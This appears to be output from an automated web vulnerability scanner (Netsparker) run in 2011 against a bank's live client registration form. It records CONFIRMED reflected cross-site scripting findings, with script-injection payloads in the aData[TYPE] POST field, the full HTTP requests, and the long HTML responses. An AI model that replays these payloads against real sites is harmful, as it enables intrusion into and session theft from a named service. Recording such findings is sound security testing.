color:#FFFFFF;
text-decoration:underline;
}

.subheader {
font-size:10pt;
color:#333333;
font-weight:bold;
text-align:center;
padding:5 0 0 0;
}

.subheader * {
font-size:10pt;
font-weight:bold;
}

.step {
font-size:10pt;
color:#999999;
font-weight:bold;
text-align:center;
padding:5 0 5 0;
}
.error {
font-size:10pt;
color:#EE0000;
text-align:center;
padding:5 0 5 0;
font-weight:bold;
}
.title {
text-align:right;
width:50%;
padding:2 2 2 2;
color:#1D4470;
}
.field {
text-align:left;
width:50%;
padding:2 22 2 2;
}
.buttons {
text-align:center;
padding:4 4 4 4;
}
.button {
color:white;
border:1px outset;
cursor:pointer;
background-color:#1D4470;
width:100px;
font-weight:bold;
height:13pt;
}
.info {
text-align:center;
padding-left:22;
padding-right:22;
}
input.text {
width:100%;
border-top:1px solid #cccccc;
border-right:1px solid #cccccc;
border-bottom:1px solid #cccccc;
border-left:1px solid #cccccc;
}
input.checkbox {

}
textarea {
width:100%;
border:1px solid #cccccc;
font-size:8pt !important;
font-weight:normal !important;
}
select {
border:1px solid #cccccc;
}

.tip {
position:absolute;
border: 1px solid #333333;
background-color: #FFFFE1;
width: 250px;
padding: 7px;
text-align: justify;
z-index:100;
}

</style>
</head>
<body onLoad="init();" onBeforeUnload="showWaiting();" style="margin:0px;padding:0px;">
<div style="background:url('https://www.dukascopy.com/pics/topBackground.png') repeat-x;"><img src="https://www.dukascopy.com/pics/headers/website_logo_bank.jpg" alt="Dukascopy" style="width:579px;height:103px;border:none;"></div>
<table width="100%" align="center" border="0" cellpadding="0" cellspacing="0">
<form style="margin:0px;padding:0px;" name="mainForm" action="/fo/register/live/index.php" method="post">
<tr>
<td colspan="2" class="header">
Client Registration
</td>
</tr>
<tr>
<td colspan="2" class="step">
Step 1 of 6-12
</td>
</tr>
<tr>
<td colspan="2">
<div class="error" id=topError>
<div>
</td>
</tr>
<tr>
<td class="title" valign="top">
Date:
</td>
<td class="field" valign="top">
Thu, 17 Mar 2011 </td>
</tr>
<tr>
<td class="title" valign="top">
Status:
</td>
<script>
function radioClickControll() {
var retAcc = document.getElementById('radio_accountKind_6');
var stAcc = document.getElementById('radio_accountKind_7');
var rInd = document.getElementById('radio_type_1');
var rJoint = document.getElementById('radio_type_3');
var rLegal = document.getElementById('radio_type_2');

if(retAcc.checked) {
rLegal.disabled = true;
}
if(stAcc.checked) {
rLegal.disabled = false;
}

if(rLegal.checked) {
retAcc.disabled = true;
}
if(rInd.checked || rJoint.checked) {
retAcc.disabled = false;
}


}
</script>
<td class="field" valign="top">
<input type="hidden" name="aData[STRAT_REF]" value="-1">
<input type="hidden" name="aData[FEEDBACK_URL]" value="-1">
<input type="radio" name="aData[TYPE]" id="radio_type_1" value="1" checked onclick="radioClickControll()"> <label for="radio_type_1">For Individuals</label><br/>
<input type="radio" name="aData[TYPE]" id="radio_type_3" value="3" onclick="radioClickControll()"> <label for="radio_type_3">For Joint Account</label><br/>
<input type="radio" name="aData[TYPE]" id="radio_type_2" value="2" onclick="radioClickControll()"> <label for="radio_type_2">For Legal Entities</label>
</td>
</tr>
<tr>
<td class="title" valign="top">
Kind of account:
</td>
<td class="field" valign="top">
<script>
function fSetManagedAccountStrategyMode(bShown) {
oInp = document.getElementById('sel_managedAccountStrategy');
oInp.disabled = !bShown;
oInp.style.display = (bShown?"":"none");
if(bShown) {
document.getElementById('servProvider0').checked = false;
}
}

function fSetServProviderMode(bShown) {
oInp = document.getElementById('sel_servProvider');
oInp.disabled = !bShown;
oInp.style.display = (bShown?"":"none");
if(bShown) {
document.getElementById('extManContact0').checked = false;
}
}
</script>
<table border="0" cellpadding="1" cellspacing="0" style="table-layout:auto;">
<tr>
<td>
<input type="radio" name="aData[accountKind]" value="" style=display:none checked>
<input type="radio" name="aData[accountKind]" value="6" id="radio_accountKind_6" onClick="radioClickControll();fSetServProviderMode(false);fSetManagedAccountStrategyMode(false);">
</td>
<td>
<label for="radio_accountKind_6">Retail Account</label>
</td>
</tr>

<tr>
<td>
<input type="radio" name="aData[accountKind]" value="7" id="radio_accountKind_7" onClick="radioClickControll();fSetServProviderMode(false);fSetManagedAccountStrategyMode(false);">
</td>
<td>
<label for="radio_accountKind_7">Standard Account (from 50 000 USD)</label>
</td>
</tr>

<tr>
<td>
<input type="radio" name="aData[accountKind]" value="100" id="radio_accountKind_100" onClick="fSetServProviderMode(false);fSetManagedAccountStrategyMode(true);">
</td>
<td>
<label for="radio_accountKind_100">Managed Account</label>
</td>
</tr>
<tr>
<td></td>
<td valign="top" id="sel_managedAccountStrategy" style="display:none;" disabled>

<b>Whilst selecting your Manager/Attorney and for convenience purposes only you may use the pull-down menu. Dukascopy has not performed any competence verification or due diligence, does not issue any recommendation concerning your Manager/Attorney and can not be held liable for any losses, direct and indirect damages whether financial or not, resulting from your Manager/Attorney&#039;s acts or omissions.</b><br>
<select name="aData[managedAccountStrategy]" id="sel_mas">
<option value='1ABEM3' >&nbsp;1ABEM3</option><option value='356JFH1' >&nbsp;356JFH1</option><option value='356JFH2' >&nbsp;356JFH2</option><option value='356JFH3' >&nbsp;356JFH3</option><option value='356JFH4' >&nbsp;356JFH4</option><option value='356JFH5' >&nbsp;356JFH5</option><option value='3SFX1' >&nbsp;3SFX1</option><option value='3SFX2' >&nbsp;3SFX2</option><option value='45GHKLBV' >&nbsp;45GHKLBV</option><option value='AADB88' >&nbsp;AADB88</option><option value='ABBB22' >&nbsp;ABBB22</option><option value='ABEF73' >&nbsp;ABEF73</option><option value='AEAC86' >&nbsp;AEAC86</option><option value='AECC31' >&nbsp;AECC31</option><option value='ALPX' >&nbsp;ALPX</option><option value='ALTV' >&nbsp;ALTV</option><option value='ARCH' >&nbsp;ARCH</option><option value='ARXX' >&nbsp;ARXX</option><option value='AZAT681' >&nbsp;AZAT681</option><option value='Augustan' >&nbsp;Augustan</option><option value='BABC92' >&nbsp;BABC92</option><option value='BADF84' >&nbsp;BADF84</option><option value='BAYWM' >&nbsp;BAYWM</option><option value='BCAD67' >&nbsp;BCAD67</option><option value='BCBC72' >&nbsp;BCBC72</option><option value='BCCA82' >&nbsp;BCCA82</option><option value='BCEE55' >&nbsp;BCEE55</option><option value='BDAD35' >&nbsp;BDAD35</option><option value='BDCC70' >&nbsp;BDCC70</option><option value='BDCP' >&nbsp;BDCP</option><option value='BEAD70' >&nbsp;BEAD70</option><option value='BEAF55' >&nbsp;BEAF55</option><option value='BECF19' >&nbsp;BECF19</option><option value='BEDD59' >&nbsp;BEDD59</option><option value='BEEE43' >&nbsp;BEEE43</option><option value='BRKIC' >&nbsp;BRKIC</option><option value='BUSH' >&nbsp;BUSH</option><option value='BUSH288' >&nbsp;BUSH288</option><option value='CBFB47' >&nbsp;CBFB47</option><option value='CCDE32' >&nbsp;CCDE32</option><option value='CCPFX' >&nbsp;CCPFX</option><option value='CDCD88' >&nbsp;CDCD88</option><option value='CDFD34' >&nbsp;CDFD34</option><option value='CEDD62' >&nbsp;CEDD62</option><option value='CEFA67' >&nbsp;CEFA67</option><option value='CEFF58' >&nbsp;CEFF58</option><option value='CFEC46' >&nbsp;CFEC46</option><option value='CFFX' >&nbsp;CFFX</option><option value='CGFX' >&nbsp;CGFX</option><option value='CHBC' >&nbsp;CHBC</option><option value='CLMFX' >&nbsp;CLMFX</option><option value='CurrClub' >&nbsp;CurrClub</option><option value='DADD65' >&nbsp;DADD65</option><option value='DBAA26' >&nbsp;DBAA26</option><option value='DBAF77' >&nbsp;DBAF77</option><option value='DBFB93' >&nbsp;DBFB93</option><option value='DCCD84' >&nbsp;DCCD84</option><option value='DCEC93' >&nbsp;DCEC93</option><option value='DDBF26' >&nbsp;DDBF26</option><option value='DDCC49' >&nbsp;DDCC49</option><option value='DDDB32' >&nbsp;DDDB32</option><option value='DEFD33' >&nbsp;DEFD33</option><option value='DF56NB' >&nbsp;DF56NB</option><option value='DF794J0' >&nbsp;DF794J0</option><option value='DFAF50' >&nbsp;DFAF50</option><option value='DG785' >&nbsp;DG785</option><option value='DOXX' >&nbsp;DOXX</option><option value='DRFX1' >&nbsp;DRFX1</option><option value='DSBP' >&nbsp;DSBP</option><option value='EACE93' >&nbsp;EACE93</option><option value='EADA74' >&nbsp;EADA74</option><option value='EAEE21' >&nbsp;EAEE21</option><option value='EAFD36' >&nbsp;EAFD36</option><option value='EBAD44' >&nbsp;EBAD44</option><option value='EBBB34' >&nbsp;EBBB34</option><option value='EBDE90' >&nbsp;EBDE90</option><option value='ECURRENTZ' >&nbsp;ECURRENTZ</option><option value='EDCC46' >&nbsp;EDCC46</option><option value='EFAF70' >&nbsp;EFAF70</option><option value='EFBB17' >&nbsp;EFBB17</option><option value='EFCA50' >&nbsp;EFCA50</option><option value='EFCA92' >&nbsp;EFCA92</option><option value='FAAC62' >&nbsp;FAAC62</option><option value='FBDB80' >&nbsp;FBDB80</option><option value='FBDF30' >&nbsp;FBDF30</option><option value='FBED79' >&nbsp;FBED79</option><option value='FBFA65' >&nbsp;FBFA65</option><option value='FCCA80' >&nbsp;FCCA80</option><op..
- /fo/register/live/index.php

/fo/register/live/index.php CONFIRMED

https://live-login.dukascopy.com/fo/register/live/index.php

Parameters

Parameter Type Value
aData%5BSTRAT_REF%5D POST -1
aData%5BFEEDBACK_URL%5D POST -1
aData%5BTYPE%5D POST '"--></style></script><script>alert(0x000154)</script>
aData%5BaccountKind%5D POST 200
aData%5BserviceProvider%5D POST BBAC47
aData%5BservProviderAnswer%5D POST Yes
aData%5BHTTP_REFERER%5D POST 3
backFormMarker POST 3
currentFormMarker POST step1
nextFormMarker POST step2

Request

POST /fo/register/live/index.php HTTP/1.1
Referer: https://live-login.dukascopy.com/fo/register/live/index.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: live-login.dukascopy.com
Content-Length: 335
Accept-Encoding: gzip, deflate

aData%5BSTRAT_REF%5D=-1&aData%5BFEEDBACK_URL%5D=-1&aData%5BTYPE%5D='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x000154)%3c%2fscript%3e&aData%5BaccountKind%5D=200&aData%5BserviceProvider%5D=BBAC47&aData%5BservProviderAnswer%5D=Yes&aData%5BHTTP_REFERER%5D=3&backFormMarker=3&currentFormMarker=step1&nextFormMarker=step2

Response

HTTP/1.1 200 OK
Date: Thu, 17 Mar 2011 19:25:39 GMT
Server: Apache/2
X-Powered-By: PHP/5.3.3
Transfer-Encoding: chunked
Content-Type: text/html; charset=windows-1252



<html lang="en">
<head>
<title>Client Registration</title>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<script>
function init() {
fFillForm();
}

var bShowWaiting = true;

function showWaiting() {
if(bShowWaiting) {
for (odj in document.body.childNodes)
try {
document.body.childNodes[odj].style.display = 'none';
}catch(e){}

oProgressDiv = document.createElement('div');
document.body.appendChild(oProgressDiv);
oProgressDiv.align = 'center';
oProgressDiv.innerHTML = "<br/><br/><br/><br/><br/><br/><br/>Please, wait<br/>";

tmp = document.getElementById('progress_img')
oProgressImg = tmp.cloneNode(false);
oProgressImg.style.display = 'block';
oProgressDiv.appendChild(oProgressImg);
bShowWaiting = false;
}
}

function addEventHandler(obj, type, func, useCapture) {
if (obj.addEventListener) {
obj.addEventListener(type, func, useCapture);
return true;
}
else if (obj.attachEvent) {
var r = obj.attachEvent('on' + type, func);
return r;
}
else {
obj['on' + type] = func;
}
}

tipIndex = 0;
function drawTip (sTip, width) {
this.hideDelay = 600;
this.sTip = sTip;
this.hideTimeoutId = null;
var oThis = this;

this.show = function (event) {
var oEvent = (event || window.event);
if (oThis.hideTimeoutId) {
window.clearTimeout(oThis.hideTimeoutId);
return;
} else if (oThis.oTipContainer.style.display == "block") {
return;
}
aSelects = document.getElementsByTagName('SELECT');
for (i=0; i < aSelects.length; i++) {
aSelects[i].style.visibility = 'hidden';
}
oThis.oTipContainer.style.top = oEvent.clientY - oThis.oTipContainer.offsetHeight - 2;
oThis.oTipContainer.style.left = oEvent.clientX + 3;
oThis.oTipContainer.style.display = "block";
}

this.hide = function () {
oThis.hideTimeoutId = null;
oThis.oTipContainer.style.display = "none";
aSelects = document.getElementsByTagName('SELECT');
for (i=0; i < aSelects.length; i++) {
aSelects[i].style.visibility = '';
}
}

this.hideTimeouted = function () {
oThis.hideTimeoutId = window.setTimeout(oThis.hide, oThis.hideDelay);
}

document.write('<img src="../../images/icons/16x16/tip.png" align="absmiddle" height="16" width="16" border="0" id="tipImg' + tipIndex + '"/>');
document.write('<div class="tip" style="display:none;" id="tipContainer' + tipIndex + '">' + sTip + '</div>');

this.oTipImg = document.getElementById('tipImg' + tipIndex);
this.oTipContainer = document.getElementById('tipContainer' + tipIndex);
if (typeof(width) != 'undefined')
this.oTipContainer.style.width = width;
addEventHandler(this.oTipImg, 'mouseover', this.show);
addEventHandler(this.oTipContainer, 'mouseover', this.show);
addEventHandler(this.oTipImg, 'mouseout', this.hideTimeouted);
addEventHandler(this.oTipContainer, 'mouseout', this.hideTimeouted);
tipIndex++;
}
</script>
<!--<script src="js/lib.js"></script>
<script src="js/checkForm.js"></script>-->
<style>
body, td, span, div, p, tr, th, option, font, button, input, select, textarea, b, i, a {
font-size:8pt;
font-family:Verdana;
}
table {
table-layout:fixed;
}
a {
font-weight:bold;
text-decoration:underline;
color:black;
}

a:hover {
color:#666666;
}

.header {
font-size:11pt;
height:24px;
color:#FFFFFF;
font-weight:bold;
text-align:center;
background-image: url('https://www.dukascopy.com/swiss/inc/images/headline_bg_menu.gif');
background-color:#000;
background-position:0px 0px;
background-repeat:repeat-x;
}

.header a {
color:#FFFFFF;
font-weight:bold;
text-decoration:none;
}

.header a:hover {
color:#FFFFFF;
text-decoration:underline;
}

.subheader {
font-size:10pt;
color:#333333;
font-weight:bold;
text-align:center;
padding:5 0 0 0;
}

.subheader * {
font-size:10pt;
font-weight:bold;
}

.step {
font-size:10pt;
color:#999999;
font-weight:bold;
text-align:center;
padding:5 0 5 0;
}
.error {
font-size:10pt;
color:#EE0000;
text-align:center;
padding:5 0 5 0;
font-weight:bold;
}
.title {
text-align:right;
width:50%;
padding:2 2 2 2;
color:#1D4470;
}
.field {
text-align:left;
width:50%;
padding:2 22 2 2;
}
.buttons {
text-align:center;
padding:4 4 4 4;
}
.button {
color:white;
border:1px outset;
cursor:pointer;
background-color:#1D4470;
width:100px;
font-weight:bold;
height:13pt;
}
.info {
text-align:center;
padding-left:22;
padding-right:22;
}
input.text {
width:100%;
border-top:1px solid #cccccc;
border-right:1px solid #cccccc;
border-bottom:1px solid #cccccc;
border-left:1px solid #cccccc;
}
input.checkbox {

}
textarea {
width:100%;
border:1px solid #cccccc;
font-size:8pt !important;
font-weight:normal !important;
}
select {
border:1px solid #cccccc;
}

.tip {
position:absolute;
border: 1px solid #333333;
background-color: #FFFFE1;
width: 250px;
padding: 7px;
text-align: justify;
z-index:100;
}

</style>
</head>
<body onLoad="init();" onBeforeUnload="showWaiting();" style="margin:0px;padding:0px;">
<div style="background:url('https://www.dukascopy.com/pics/topBackground.png') repeat-x;"><img src="https://www.dukascopy.com/pics/headers/website_logo_bank.jpg" alt="Dukascopy" style="width:579px;height:103px;border:none;"></div>
<table width="100%" align="center" border="0" cellpadding="0" cellspacing="0">
<form style="margin:0px;padding:0px;" name="mainForm" action="/fo/register/live/index.php" method="post">
<tr>
<td colspan="2" class="header">
Client Registration
</td>
</tr>
<tr>
<td colspan="2" class="step">
Step 1 of 6-12
</td>
</tr>
<tr>
<td colspan="2">
<div class="error" id=topError>
<div>
</td>
</tr>
<tr>
<td class="title" valign="top">
Date:
</td>
<td class="field" valign="top">
Thu, 17 Mar 2011 </td>
</tr>
<tr>
<td class="title" valign="top">
Status:
</td>
<script>
function radioClickControll() {
var retAcc = document.getElementById('radio_accountKind_6');
var stAcc = document.getElementById('radio_accountKind_7');
var rInd = document.getElementById('radio_type_1');
var rJoint = document.getElementById('radio_type_3');
var rLegal = document.getElementById('radio_type_2');

if(retAcc.checked) {
rLegal.disabled = true;
}
if(stAcc.checked) {
rLegal.disabled = false;
}

if(rLegal.checked) {
retAcc.disabled = true;
}
if(rInd.checked || rJoint.checked) {
retAcc.disabled = false;
}


}
</script>
<td class="field" valign="top">
<input type="hidden" name="aData[STRAT_REF]" value="-1">
<input type="hidden" name="aData[FEEDBACK_URL]" value="-1">
<input type="radio" name="aData[TYPE]" id="radio_type_1" value="1" checked onclick="radioClickControll()"> <label for="radio_type_1">For Individuals</label><br/>
<input type="radio" name="aData[TYPE]" id="radio_type_3" value="3" onclick="radioClickControll()"> <label for="radio_type_3">For Joint Account</label><br/>
<input type="radio" name="aData[TYPE]" id="radio_type_2" value="2" onclick="radioClickControll()"> <label for="radio_type_2">For Legal Entities</label>
</td>
</tr>
<tr>
<td class="title" valign="top">
Kind of account:
</td>
<td class="field" valign="top">
<script>
function fSetManagedAccountStrategyMode(bShown) {
oInp = document.getElementById('sel_managedAccountStrategy');
oInp.disabled = !bShown;
oInp.style.display = (bShown?"":"none");
if(bShown) {
document.getElementById('servProvider0').checked = false;
}
}

function fSetServProviderMode(bShown) {
oInp = document.getElementById('sel_servProvider');
oInp.disabled = !bShown;
oInp.style.display = (bShown?"":"none");
if(bShown) {
document.getElementById('extManContact0').checked = false;
}
}
</script>
<table border="0" cellpadding="1" cellspacing="0" style="table-layout:auto;">
<tr>
<td>
<input type="radio" name="aData[accountKind]" value="" style=display:none checked>
<input type="radio" name="aData[accountKind]" value="6" id="radio_accountKind_6" onClick="radioClickControll();fSetServProviderMode(false);fSetManagedAccountStrategyMode(false);">
</td>
<td>
<label for="radio_accountKind_6">Retail Account</label>
</td>
</tr>

<tr>
<td>
<input type="radio" name="aData[accountKind]" value="7" id="radio_accountKind_7" onClick="radioClickControll();fSetServProviderMode(false);fSetManagedAccountStrategyMode(false);">
</td>
<td>
<label for="radio_accountKind_7">Standard Account (from 50 000 USD)</label>
</td>
</tr>

<tr>
<td>
<input type="radio" name="aData[accountKind]" value="100" id="radio_accountKind_100" onClick="fSetServProviderMode(false);fSetManagedAccountStrategyMode(true);">
</td>
<td>
<label for="radio_accountKind_100">Managed Account</label>
</td>
</tr>
<tr>
<td></td>
<td valign="top" id="sel_managedAccountStrategy" style="display:none;" disabled>

<b>Whilst selecting your Manager/Attorney and for convenience purposes only you may use the pull-down menu. Dukascopy has not performed any competence verification or due diligence, does not issue any recommendation concerning your Manager/Attorney and can not be held liable for any losses, direct and indirect damages whether financial or not, resulting from your Manager/Attorney&#039;s acts or omissions.</b><br>
<select name="aData[managedAccountStrategy]" id="sel_mas">
<option value='1ABEM3' >&nbsp;1ABEM3</option><option value='356JFH1' >&nbsp;356JFH1</option><option value='356JFH2' >&nbsp;356JFH2</option><option value='356JFH3' >&nbsp;356JFH3</option><option value='356JFH4' >&nbsp;356JFH4</option><option value='356JFH5' >&nbsp;356JFH5</option><option value='3SFX1' >&nbsp;3SFX1</option><option value='3SFX2' >&nbsp;3SFX2</option><option value='45GHKLBV' >&nbsp;45GHKLBV</option><option value='AADB88' >&nbsp;AADB88</option><option value='ABBB22' >&nbsp;ABBB22</option><option value='ABEF73' >&nbsp;ABEF73</option><option value='AEAC86' >&nbsp;AEAC86</option><option value='AECC31' >&nbsp;AECC31</option><option value='ALPX' >&nbsp;ALPX</option><option value='ALTV' >&nbsp;ALTV</option><option value='ARCH' >&nbsp;ARCH</option><option value='ARXX' >&nbsp;ARXX</option><option value='AZAT681' >&nbsp;AZAT681</option><option value='Augustan' >&nbsp;Augustan</option><option value='BABC92' >&nbsp;BABC92</option><option value='BADF84' >&nbsp;BADF84</option><option value='BAYWM' >&nbsp;BAYWM</option><option value='BCAD67' >&nbsp;BCAD67</option><option value='BCBC72' >&nbsp;BCBC72</option><option value='BCCA82' >&nbsp;BCCA82</option><option value='BCEE55' >&nbsp;BCEE55</option><option value='BDAD35' >&nbsp;BDAD35</option><option value='BDCC70' >&nbsp;BDCC70</option><option value='BDCP' >&nbsp;BDCP</option><option value='BEAD70' >&nbsp;BEAD70</option><option value='BEAF55' >&nbsp;BEAF55</option><option value='BECF19' >&nbsp;BECF19</option><option value='BEDD59' >&nbsp;BEDD59</option><option value='BEEE43' >&nbsp;BEEE43</option><option value='BRKIC' >&nbsp;BRKIC</option><option value='BUSH' >&nbsp;BUSH</option><option value='BUSH288' >&nbsp;BUSH288</option><option value='CBFB47' >&nbsp;CBFB47</option><option value='CCDE32' >&nbsp;CCDE32</option><option value='CCPFX' >&nbsp;CCPFX</option><option value='CDCD88' >&nbsp;CDCD88</option><option value='CDFD34' >&nbsp;CDFD34</option><option value='CEDD62' >&nbsp;CEDD62</option><option value='CEFA67' >&nbsp;CEFA67</option><option value='CEFF58' >&nbsp;CEFF58</option><option value='CFEC46' >&nbsp;CFEC46</option><option value='CFFX' >&nbsp;CFFX</option><option value='CGFX' >&nbsp;CGFX</option><option value='CHBC' >&nbsp;CHBC</option><option value='CLMFX' >&nbsp;CLMFX</option><option value='CurrClub' >&nbsp;CurrClub</option><option value='DADD65' >&nbsp;DADD65</option><option value='DBAA26' >&nbsp;DBAA26</option><option value='DBAF77' >&nbsp;DBAF77</option><option value='DBFB93' >&nbsp;DBFB93</option><option value='DCCD84' >&nbsp;DCCD84</option><option value='DCEC93' >&nbsp;DCEC93</option><option value='DDBF26' >&nbsp;DDBF26</option><option value='DDCC49' >&nbsp;DDCC49</option><option value='DDDB32' >&nbsp;DDDB32</option><option value='DEFD33' >&nbsp;DEFD33</option><option value='DF56NB' >&nbsp;DF56NB</option><option value='DF794J0' >&nbsp;DF794J0</option><option value='DFAF50' >&nbsp;DFAF50</option><option value='DG785' >&nbsp;DG785</option><option value='DOXX' >&nbsp;DOXX</option><option value='DRFX1' >&nbsp;DRFX1</option><option value='DSBP' >&nbsp;DSBP</option><option value='EACE93' >&nbsp;EACE93</option><option value='EADA74' >&nbsp;EADA74</option><option value='EAEE21' >&nbsp;EAEE21</option><option value='EAFD36' >&nbsp;EAFD36</option><option value='EBAD44' >&nbsp;EBAD44</option><option value='EBBB34' >&nbsp;EBBB34</option><option value='EBDE90' >&nbsp;EBDE90</option><option value='ECURRENTZ' >&nbsp;ECURRENTZ</option><option value='EDCC46' >&nbsp;EDCC46</option><option value='EFAF70' >&nbsp;EFAF70</option><option value='EFBB17' >&nbsp;EFBB17</option><option value='EFCA50' >&nbsp;EFCA50</option><option value='EFCA92' >&nbsp;EFCA92</option><option value='FAAC62' >&nbsp;FAAC62</option><option value='FBDB80' >&nbsp;FBDB80</option><option value='FBDF30' >&nbsp;FBDF30</option><option value='FBED79' >&nbsp;FBED79</option><option value='FBFA65' >&nbsp;FBFA65</option><option value='FCCA80' >&nbsp;FCCA80</option><op..
- /fo/register/live/index.php

/fo/register/live/index.php CONFIRMED

https://live-login.dukascopy.com/fo/register/live/index.php

Parameters

Parameter Type Value
aData%5BSTRAT_REF%5D POST -1
aData%5BFEEDBACK_URL%5D POST -1
aData%5BTYPE%5D POST '"--></style></script><script>alert(0x000165)</script>
aData%5BaccountKind%5D POST 200
aData%5BservProviderAnswer%5D POST Yes
aData%5BHTTP_REFERER%5D POST 3
backFormMarker POST 3
currentFormMarker POST step1
nextFormMarker POST step2

Request

POST /fo/register/live/index.php HTTP/1.1
Referer: https://live-login.dukascopy.com/fo/register/live/index.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: live-login.dukascopy.com
Content-Length: 301
Accept-Encoding: gzip, deflate

aData%5BSTRAT_REF%5D=-1&aData%5BFEEDBACK_URL%5D=-1&aData%5BTYPE%5D='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x000165)%3c%2fscript%3e&aData%5BaccountKind%5D=200&aData%5BservProviderAnswer%5D=Yes&aData%5BHTTP_REFERER%5D=3&backFormMarker=3&currentFormMarker=step1&nextFormMarker=step2

Response

HTTP/1.1 200 OK
Date: Thu, 17 Mar 2011 19:25:45 GMT
Server: Apache/2
X-Powered-By: PHP/5.3.3
Transfer-Encoding: chunked
Content-Type: text/html; charset=windows-1252



<html lang="en">
<head>
<title>Client Registration</title>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<script>
function init() {
fFillForm();
}

var bShowWaiting = true;

function showWaiting() {
if(bShowWaiting) {
for (odj in document.body.childNodes)
try {
document.body.childNodes[odj].style.display = 'none';
}catch(e){}

oProgressDiv = document.createElement('div');
document.body.appendChild(oProgressDiv);
oProgressDiv.align = 'center';
oProgressDiv.innerHTML = "<br/><br/><br/><br/><br/><br/><br/>Please, wait<br/>";

tmp = document.getElementById('progress_img')
oProgressImg = tmp.cloneNode(false);
oProgressImg.style.display = 'block';
oProgressDiv.appendChild(oProgressImg);
bShowWaiting = false;
}
}

function addEventHandler(obj, type, func, useCapture) {
if (obj.addEventListener) {
obj.addEventListener(type, func, useCapture);
return true;
}
else if (obj.attachEvent) {
var r = obj.attachEvent('on' + type, func);
return r;
}
else {
obj['on' + type] = func;
}
}

tipIndex = 0;
function drawTip (sTip, width) {
this.hideDelay = 600;
this.sTip = sTip;
this.hideTimeoutId = null;
var oThis = this;

this.show = function (event) {
var oEvent = (event || window.event);
if (oThis.hideTimeoutId) {
window.clearTimeout(oThis.hideTimeoutId);
return;
} else if (oThis.oTipContainer.style.display == "block") {
return;
}
aSelects = document.getElementsByTagName('SELECT');
for (i=0; i < aSelects.length; i++) {
aSelects[i].style.visibility = 'hidden';
}
oThis.oTipContainer.style.top = oEvent.clientY - oThis.oTipContainer.offsetHeight - 2;
oThis.oTipContainer.style.left = oEvent.clientX + 3;
oThis.oTipContainer.style.display = "block";
}

this.hide = function () {
oThis.hideTimeoutId = null;
oThis.oTipContainer.style.display = "none";
aSelects = document.getElementsByTagName('SELECT');
for (i=0; i < aSelects.length; i++) {
aSelects[i].style.visibility = '';
}
}

this.hideTimeouted = function () {
oThis.hideTimeoutId = window.setTimeout(oThis.hide, oThis.hideDelay);
}

document.write('<img src="../../images/icons/16x16/tip.png" align="absmiddle" height="16" width="16" border="0" id="tipImg' + tipIndex + '"/>');
document.write('<div class="tip" style="display:none;" id="tipContainer' + tipIndex + '">' + sTip + '</div>');

this.oTipImg = document.getElementById('tipImg' + tipIndex);
this.oTipContainer = document.getElementById('tipContainer' + tipIndex);
if (typeof(width) != 'undefined')
this.oTipContainer.style.width = width;
addEventHandler(this.oTipImg, 'mouseover', this.show);
addEventHandler(this.oTipContainer, 'mouseover', this.show);
addEventHandler(this.oTipImg, 'mouseout', this.hideTimeouted);
addEventHandler(this.oTipContainer, 'mouseout', this.hideTimeouted);
tipIndex++;
}
</script>
<!--<script src="js/lib.js"></script>
<script src="js/checkForm.js"></script>-->
<style>
body, td, span, div, p, tr, th, option, font, button, input, select, textarea, b, i, a {
font-size:8pt;
font-family:Verdana;
}
table {
table-layout:fixed;
}
a {
font-weight:bold;
text-decoration:underline;
color:black;
}

a:hover {
color:#666666;
}

.header {
font-size:11pt;
height:24px;
color:#FFFFFF;
font-weight:bold;
text-align:center;
background-image: url('https://www.dukascopy.com/swiss/inc/images/headline_bg_menu.gif');
background-color:#000;
background-position:0px 0px;
background-repeat:repeat-x;
}

.header a {
color:#FFFFFF;
font-weight:bold;
text-decoration:none;
}

.header a:hover {
color:#FFFFFF;
text-decoration:underline;
}

.subheader {
font-size:10pt;
color:#333333;
font-weight:bold;
text-align:center;
padding:5 0 0 0;
}

.subheader * {
font-size:10pt;
font-weight:bold;
}

.step {
font-size:10pt;
color:#999999;
font-weight:bold;
text-align:center;
padding:5 0 5 0;
}
.error {
font-size:10pt;
color:#EE0000;
text-align:center;
padding:5 0 5 0;
font-weight:bold;
}
.title {
text-align:right;
width:50%;
padding:2 2 2 2;
color:#1D4470;
}
.field {
text-align:left;
width:50%;
padding:2 22 2 2;
}
.buttons {
text-align:center;
padding:4 4 4 4;
}
.button {
color:white;
border:1px outset;
cursor:pointer;
background-color:#1D4470;
width:100px;
font-weight:bold;
height:13pt;
}
.info {
text-align:center;
padding-left:22;
padding-right:22;
}
input.text {
width:100%;
border-top:1px solid #cccccc;
border-right:1px solid #cccccc;
border-bottom:1px solid #cccccc;
border-left:1px solid #cccccc;
}
input.checkbox {

}
textarea {
width:100%;
border:1px solid #cccccc;
font-size:8pt !important;
font-weight:normal !important;
}
select {
border:1px solid #cccccc;
}

.tip {
position:absolute;
border: 1px solid #333333;
background-color: #FFFFE1;
width: 250px;
padding: 7px;
text-align: justify;
z-index:100;
}

</style>
</head>
<body onLoad="init();" onBeforeUnload="showWaiting();" style="margin:0px;padding:0px;">
<div style="background:url('https://www.dukascopy.com/pics/topBackground.png') repeat-x;"><img src="https://www.dukascopy.com/pics/headers/website_logo_bank.jpg" alt="Dukascopy" style="width:579px;height:103px;border:none;"></div>
<table width="100%" align="center" border="0" cellpadding="0" cellspacing="0">
<form style="margin:0px;padding:0px;" name="mainForm" action="/fo/register/live/index.php" method="post">
<tr>
<td colspan="2" class="header">
Client Registration
</td>
</tr>
<tr>
<td colspan="2" class="step">
Step 1 of 6-12
</td>
</tr>
<tr>
<td colspan="2">
<div class="error" id=topError>
<div>
</td>
</tr>
<tr>
<td class="title" valign="top">
Date:
</td>
<td class="field" valign="top">
Thu, 17 Mar 2011 </td>
</tr>
<tr>
<td class="title" valign="top">
Status:
</td>
<script>
function radioClickControll() {
var retAcc = document.getElementById('radio_accountKind_6');
var stAcc = document.getElementById('radio_accountKind_7');
